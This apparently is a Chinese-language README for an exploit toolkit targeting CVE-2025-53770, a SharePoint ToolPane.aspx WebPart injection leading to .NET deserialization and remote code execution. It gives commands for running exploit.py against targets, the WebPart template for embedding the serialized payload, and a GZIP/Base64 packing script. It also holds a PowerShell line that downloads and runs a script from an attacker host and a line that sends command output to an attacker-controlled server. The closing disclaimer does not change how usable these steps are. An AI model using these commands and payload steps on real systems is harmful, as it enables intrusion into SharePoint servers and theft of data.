CVE-2025-53770-Exploit

📌 SharePoint WebPart 注入利用工具包

🍕 用于通过 ToolPane.aspx 进行 SharePoint WebPart 注入的利用工具，导致 .NET 反序列化并可能实现远程代码执行（RCE）。

开发人员： @GOTOCVE

🌍 概述

该工具利用 Microsoft SharePoint（本地部署）中的一个漏洞，允许经过身份验证的用户滥用 ToolPane.aspx 端点并注入包含 GZIP 压缩的序列化 .NET 对象的恶意 WebPart。

注入的对象被放置在 MSOTlPn_SelectedWpId 参数内部，并嵌入到一个虚假 WebPart（例如 <Scorecard:ExcelDataSet>）中，该 WebPart 会被 SharePoint 后端解析并反序列化。

⚙️ 功能特性

• ✅ 自动端点验证（ToolPane.aspx）
• ✅ 注入用户提供的 payload（GZIP+Base64 编码的 .NET LosFormatter 对象）
• ✅ 支持代理（Burp/ZAP）
• ✅ 支持基于文件或直接 payload 输入

🧪 支持版本

⚡ 漏洞摘要

🧰 工具包组件

✅ 1. exploit.py

针对 CVE-2025-53770 的多线程 SharePoint 利用工具。

• 检测 SharePoint 及版本
• 检查对 /ToolPane.aspx 的访问
• 发送恶意 WebPart payload

✅ 2. YSLosf.exe

LosFormatter Payload 生成器与反序列化器。

🚀 使用方法

🔸 基本用法

python3 exploit.py -u https://target -p payload.txt

🔸 多个目标

python3 exploit.py -f targets.txt -p payload.txt --proxy http://127.0.0.1:8080

🔸 全部参数

🔧 环境要求

• Python 3.10
• 安装依赖：

python -m venv venv
source venv/bin/activate
pip install -r requirements.txt

• .NET 4.8 运行时（运行 YSLosf.exe 需要）

💥 Payload 结构

你的 payload 必须满足：

1. 一个 .NET 对象（例如 DataSet、ObjectDataProvider）
2. 使用 LosFormatter 或 BinaryFormatter 序列化
3. Base64 编码
4. GZIP 压缩

嵌入到类似以下 WebPart 中：

<asp:UpdateProgress ID="UpdateProgress1" runat="server" AssociatedUpdatePanelID="upTest">
  <ProgressTemplate>
    <div class="divWaiting">
      <Scorecard:ExcelDataSet CompressedDataTable="{PAYLOAD}" DataTable-CaseSensitive="false" runat="server" />
    </div>
  </ProgressTemplate>
</asp:UpdateProgress>

🛠 使用 YSLosf 生成 Payload

步骤 1：创建 Payload 文件

将你的命令（例如反弹 shell）放入 payload.txt：

powershell -nop -c iwr http://attacker/shell.ps1 | iex

步骤 2：生成 Base64 Payload

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe --p payload.txt
Serialized string:
/wEFBWZsdG1j

Base64 encoded:
L3dFRkJXWnNkRzFq

C:\Users\soltanali0\Desktop\YSLosf\bin\x64\Debug\net48>.\YSLosf.exe -d dpayload.txt
Deserialized object:
fltmc

步骤 3：压缩并完成

# compress.py
import gzip, base64

with open("base64.txt", "rb") as f:
    b64 = base64.b64decode(f.read())
    gz = gzip.compress(b64)
    # print(base64.b64encode(gz).decode())
    encoded = base64.b64encode(gz).decode()

with open("payload-final.txt", "w") as out_file:
    out_file.write(encoded)

将输出保存到 payload-final.txt 并传递给利用工具。

🧵 支持的 Gadget 链

• System.Data.DataSet
• System.Data.Services.Internal.ExpandedWrapper
• System.Windows.Data.ObjectDataProvider
• System.Web.UI.LosFormatter

📡 关于命令输出的说明

此漏洞 不会在响应中返回 输出（例如 ipconfig）。你必须：

• 使用反弹 shell payload
• 或者外带输出：

powershell -c "ipconfig | Invoke-WebRequest -Uri http://your-ip:8000/?d=$(Get-Content -Raw)"

⚠️ 法律免责声明

本工具仅供 教育和授权的安全测试 使用。

禁止在未经明确许可的情况下对系统使用。 滥用可能违法且不道德。

🔍 检测

如果易受攻击的服务器接受了 payload 并回显了 MSOTlPn_SelectedWpId 或渲染了包含注入 WebPart 的页面，则很可能存在漏洞。没有输出表示反序列化失败或服务器已修补。

🛑 法律澄清与本工具范围

本工具 不提供或执行任何 shellcode、webshell。 它仅演示通过易受攻击的 ToolPane.aspx 端点利用 .NET 反序列化漏洞（CVE-2025-53770），使用包含 GZIP 压缩的 .NET 对象的恶意 WebPart 结构。

🔹 目的：帮助研究人员、红队成员和防御者检测易受攻击的 SharePoint 服务器，并使用 自定义 payload 安全测试注入向量。

🔹 Payload：该工具要求用户 自行生成 payload（例如使用 YSLosf.exe），这些 payload 作为 Base64 编码的 GZIP 字符串嵌入 WebPart 中。
用户有责任 选择适当且道德的 payload（例如无害的 calc.exe 执行、信标标记等）。

🔹 不包含反弹 shell / webshell：
虽然现实中的攻击者可能植入像 spinstall0.aspx 这样的 webshell，本项目不包含任何此类逻辑。
如果你计划发送反弹 shell，你 必须手动生成自己的 payload 并 对其使用负全部责任。

Star History

📢 更多 Exploit 与 CVE？

加入 Telegram 上的 @GOTOCVE：

• 🔍 每周 CVE 解析
• 🧠 深度 Exploit 分析文章
• 🛡 红蓝队内容
• 💣 真实 PoC 与检测技巧

📬 联系方式

由 Ali Soltani 创建
如需研究咨询或报告 Bug，请通过 Telegram 联系。